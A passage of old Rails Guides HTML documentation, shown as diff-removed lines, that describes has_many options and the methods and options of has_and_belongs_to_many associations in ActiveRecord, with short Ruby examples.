-<p>
-<tt>:as</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:class_name</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:conditions</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:counter_sql</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:dependent</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:extend</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:finder_sql</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:foreign_key</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:group</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:include</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:limit</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:offset</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:order</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:primary_key</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:readonly</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:select</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:source</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:source_type</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:through</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:uniq</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:validate</tt>
-</p>
-</li>
-</ul></div>
-<h5 id="_tt_as_tt_2"><tt>:as</tt></h5>
-<div class="para"><p>Setting the <tt>:as</tt> option indicates that this is a polymorphic association, as discussed earlier in this guide.</p></div>
-<h5 id="_tt_class_name_tt_3"><tt>:class_name</tt></h5>
-<div class="para"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is <tt>Transaction</tt>, you'd set things up this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Transaction"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h5 id="_tt_conditions_tt_3"><tt>:conditions</tt></h5>
-<div class="para"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>confirmed_orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Order"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"confirmed = 1"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You can also set conditions via a hash:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>confirmed_orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Order"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>confirmed <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you use a hash-style <tt>:conditions</tt> option, then record creation via this association will be automatically scoped using the hash. In this case, using <tt>@customer.confirmed_orders.create</tt> or <tt>@customer.confirmed_orders.build</tt> will create orders where the confirmed column has the value <tt>true</tt>.</p></div>
-<h5 id="_tt_counter_sql_tt"><tt>:counter_sql</tt></h5>
-<div class="para"><p>Normally Rails automatically generates the proper SQL to count the association members. With the <tt>:counter_sql</tt> option, you can specify a complete SQL statement to count them yourself.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">If you specify <tt>:finder_sql</tt> but not <tt>:counter_sql</tt>, then the counter SQL will be generated by substituting <tt>SELECT COUNT(*) FROM</tt> for the <tt>SELECT &#8230; FROM</tt> clause of your <tt>:finder_sql</tt> statement.</td>
-</tr></table>
-</div>
-<h5 id="_tt_dependent_tt_3"><tt>:dependent</tt></h5>
-<div class="para"><p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the destroy method on the associated objects to delete those objects. If you set the <tt>:dependent</tt> option to <tt>:delete_all</tt>, then deleting this object will delete the associated objects <em>without</em> calling their <tt>destroy</tt> method. If you set the <tt>:dependent</tt> option to <tt>:nullify</tt>, then deleting this object will set the foreign key in the associated objects to <tt>NULL</tt>.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">This option is ignored when you use the <tt>:through</tt> option on the association.</td>
-</tr></table>
-</div>
-<h5 id="_tt_extend_tt"><tt>:extend</tt></h5>
-<div class="para"><p>The <tt>:extend</tt> option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.</p></div>
-<h5 id="_tt_finder_sql_tt"><tt>:finder_sql</tt></h5>
-<div class="para"><p>Normally Rails automatically generates the proper SQL to fetch the association members. With the <tt>:finder_sql</tt> option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.</p></div>
-<h5 id="_tt_foreign_key_tt_3"><tt>:foreign_key</tt></h5>
-<div class="para"><p>By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"cust_id"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.</td>
-</tr></table>
-</div>
-<h5 id="_tt_group_tt"><tt>:group</tt></h5>
-<div class="para"><p>The <tt>:group</tt> option supplies an attribute name to group the result set by, using a <tt>GROUP BY</tt> clause in the finder SQL.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>line_items<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>group <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders.id"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h5 id="_tt_include_tt_3"><tt>:include</tt></h5>
-<div class="para"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>customer
-  has_many <span style="color: #990000">:</span>line_items
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>order
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you frequently retrieve line items directly from customers (<tt>@customer.orders.line_items</tt>), then you can make your code somewhat more efficient by including line items in the association from customers to orders:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>line_items
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>customer
-  has_many <span style="color: #990000">:</span>line_items
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>order
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h5 id="_tt_limit_tt"><tt>:limit</tt></h5>
-<div class="para"><p>The <tt>:limit</tt> option lets you restrict the total number of objects that will be fetched through an association.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>recent_orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Order"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"order_date DESC"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>limit <span style="color: #990000">=&gt;</span> <span style="color: #993399">100</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h5 id="_tt_offset_tt"><tt>:offset</tt></h5>
-<div class="para"><p>The <tt>:offset</tt> option lets you specify the starting offset for fetching objects via an association. For example, if you set <tt>:offset &#8658; 11</tt>, it will skip the first 10 records.</p></div>
-<h5 id="_tt_order_tt_2"><tt>:order</tt></h5>
-<div class="para"><p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by a SQL <tt>ORDER BY</tt> clause).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"date_confirmed DESC"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h5 id="_tt_primary_key_tt_2"><tt>:primary_key</tt></h5>
-<div class="para"><p>By convention, Rails guesses that the column used to hold the primary key of this model is <tt>id</tt>. You can override this and explicitly specify the primary key with the <tt>:primary_key</tt> option.</p></div>
-<h5 id="_tt_readonly_tt_3"><tt>:readonly</tt></h5>
-<div class="para"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated objects will be read-only when retrieved via the association.</p></div>
-<h5 id="_tt_select_tt_3"><tt>:select</tt></h5>
-<div class="para"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">If you specify your own <tt>:select</tt>, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.</td>
-</tr></table>
-</div>
-<h5 id="_tt_source_tt_2"><tt>:source</tt></h5>
-<div class="para"><p>The <tt>:source</tt> option specifies the source association name for a <tt>has_many :through</tt> association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.</p></div>
-<h5 id="_tt_source_type_tt_2"><tt>:source_type</tt></h5>
-<div class="para"><p>The <tt>:source_type</tt> option specifies the source association type for a <tt>has_many :through</tt> association that proceeds through a polymorphic association.</p></div>
-<h5 id="_tt_through_tt_2"><tt>:through</tt></h5>
-<div class="para"><p>The <tt>:through</tt> option specifies a join model through which to perform the query. <tt>has_many :through</tt> associations provide a way to implement many-to-many relationships, as discussed earlier in this guide.</p></div>
-<h5 id="_tt_uniq_tt"><tt>:uniq</tt></h5>
-<div class="para"><p>Specify the <tt>:uniq &#8658; true</tt> option to remove duplicates from the collection. This is most useful in conjunction with the <tt>:through</tt> option.</p></div>
-<h5 id="_tt_validate_tt_3"><tt>:validate</tt></h5>
-<div class="para"><p>If you set the <tt>:validate</tt> option to <tt>false</tt>, then associated objects will not be validated whenever you save this object. By default, this is <tt>true</tt>: associated objects will be validated when this object is saved.</p></div>
-<h4 id="_when_are_objects_saved_3">4.3.3. When are Objects Saved?</h4>
-<div class="para"><p>When you assign an object to a <tt>has_many</tt> association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.</p></div>
-<div class="para"><p>If any of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p></div>
-<div class="para"><p>If the parent object (the one declaring the <tt>has_many</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.</p></div>
-<div class="para"><p>If you want to assign an object to a <tt>has_many</tt> association without saving the object, use the <tt><em>collection</em>.build</tt> method.</p></div>
-<h3 id="_the_tt_has_and_belongs_to_many_tt_association_2">4.4. The <tt>has_and_belongs_to_many</tt> Association</h3>
-<div class="para"><p>The <tt>has_and_belongs_to_many</tt> association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.</p></div>
-<h4 id="_methods_added_2">4.4.1. Methods Added</h4>
-<div class="para"><p>When you declare a <tt>has_and_belongs_to_many</tt> association, the declaring class automatically gains 13 methods related to the association:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt><em>collection</em>(force_reload = false)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>&lt;&lt;(object, &#8230;)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.delete(object, &#8230;)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>=objects</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection_singular</em>_ids</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection_singular</em>_ids=ids</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.clear</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.empty?</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.size</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.find(&#8230;)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.exist?(&#8230;)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.build(attributes = {})</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.create(attributes = {})</tt>
-</p>
-</li>
-</ul></div>
-<div class="para"><p>In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to <tt>has_many</tt>, and <tt><em>collection</em>_singular</tt> is replaced with the singularized version of that symbol.. For example, given the declaration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Each instance of the part model will have these methods:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assemblies<span style="color: #990000">(</span>force_reload <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span><span style="color: #990000">)</span>
-assemblies<span style="color: #990000">&lt;&lt;(</span>object<span style="color: #990000">,</span> <span style="color: #990000">...)</span>
-assemblies<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>object<span style="color: #990000">,</span> <span style="color: #990000">...)</span>
-assemblies<span style="color: #990000">=</span>objects
-assembly_ids
-assembly_ids<span style="color: #990000">=</span>ids
-assemblies<span style="color: #990000">.</span>clear
-assemblies<span style="color: #990000">.</span>empty?
-assemblies<span style="color: #990000">.</span>size
-assemblies<span style="color: #990000">.</span>find<span style="color: #990000">(...)</span>
-assemblies<span style="color: #990000">.</span>exist?<span style="color: #990000">(...)</span>
-assemblies<span style="color: #990000">.</span>build<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">,</span> <span style="color: #990000">...)</span>
-assemblies<span style="color: #990000">.</span>create<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<h5 id="_additional_column_methods">Additional Column Methods</h5>
-<div class="para"><p>If the join table for a <tt>has_and_belongs_to_many</tt> association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">The use of extra attributes on the join table in a <tt>has_and_belongs_to_many</tt> association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a <tt>has_many :through</tt> association instead of <tt>has_and_belongs_to_many</tt>.</td>
-</tr></table>
-</div>
-<h5 id="_tt_em_collection_em_force_reload_false_tt_2"><tt><em>collection</em>(force_reload = false)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@assemblies</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_lt_lt_object_8230_tt_2"><tt><em>collection</em>&lt;&lt;(object, &#8230;)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>&lt;&lt;</tt> method adds one or more objects to the collection by creating records in the join table.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies <span style="color: #990000">&lt;&lt;</span> <span style="color: #009900">@assembly1</span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">This method is aliased as <tt><em>collection</em>.concat</tt> and <tt><em>collection</em>.push</tt>.</td>
-</tr></table>
-</div>
-<h5 id="_tt_em_collection_em_delete_object_8230_tt_2"><tt><em>collection</em>.delete(object, &#8230;)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>delete<span style="color: #990000">(</span><span style="color: #009900">@assembly1</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_objects_tt_2"><tt><em>collection</em>=objects</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.</p></div>
-<h5 id="_tt_em_collection_singular_em_ids_tt_2"><tt><em>collection_singular</em>_ids</tt></h5>
-<div class="para"><p>#   Returns an array of the associated objects' ids</p></div>
-<div class="para"><p>The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@assembly_ids</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assembly_ids
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_singular_em_ids_ids_tt_2"><tt><em>collection_singular</em>_ids=ids</tt></h5>
-<div class="para"><p>The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.</p></div>
-<h5 id="_tt_em_collection_em_clear_tt_2"><tt><em>collection</em>.clear</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.clear</tt> method removes every object from the collection by deleting the rows from the joining tableassociation. This does not destroy the associated objects.</p></div>
-<h5 id="_tt_em_collection_em_empty_tt_2"><tt><em>collection</em>.empty?</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.empty?</tt> method returns <tt>true</tt> if the collection does not contain any associated objects.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% if @part.assemblies.empty? %&gt;</span>
-  This part is <span style="font-weight: bold"><span style="color: #0000FF">not</span></span> used <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> any assemblies
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_size_tt_2"><tt><em>collection</em>.size</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@assembly_count</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>size
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_find_8230_tt_2"><tt><em>collection</em>.find(&#8230;)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.find</tt>. It also adds the additional condition that the object must be in the collection.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@new_assemblies</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>days<span style="color: #990000">.</span>ago<span style="color: #990000">])</span>
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_exist_8230_tt_2"><tt><em>collection</em>.exist?(&#8230;)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.exist?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.exists?</tt>.</p></div>
-<h5 id="_tt_em_collection_em_build_attributes_tt"><tt><em>collection</em>.build(attributes = {})</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.build</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will <em>not</em> yet be saved.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@assembly</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>build<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>assembly_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Transmission housing"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_create_attributes_tt_2"><tt><em>collection</em>.create(attributes = {})</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This objects will be instantiated from the passed attributes, the link through the join table will be created, and the associated object <em>will</em> be saved (assuming that it passes any validations).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@assembly</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>assembly_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Transmission housing"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<h4 id="_options_for_has_and_belongs_to_many">4.4.2. Options for has_and_belongs_to_many</h4>
-<div class="para"><p>In many situations, you can use the default behavior for <tt>has_and_belongs_to_many</tt> without any customization. But you can alter that behavior in a number of ways. This section cover the options that you can pass when you create a <tt>has_and_belongs_to_many</tt> association. For example, an association with several options might look like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>uniq <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">,</span> <span style="color: #990000">:</span>read_only <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>has_and_belongs_to_many</tt> association supports these options:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>:association_foreign_key</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:class_name</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:conditions</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:counter_sql</tt>
-</p>
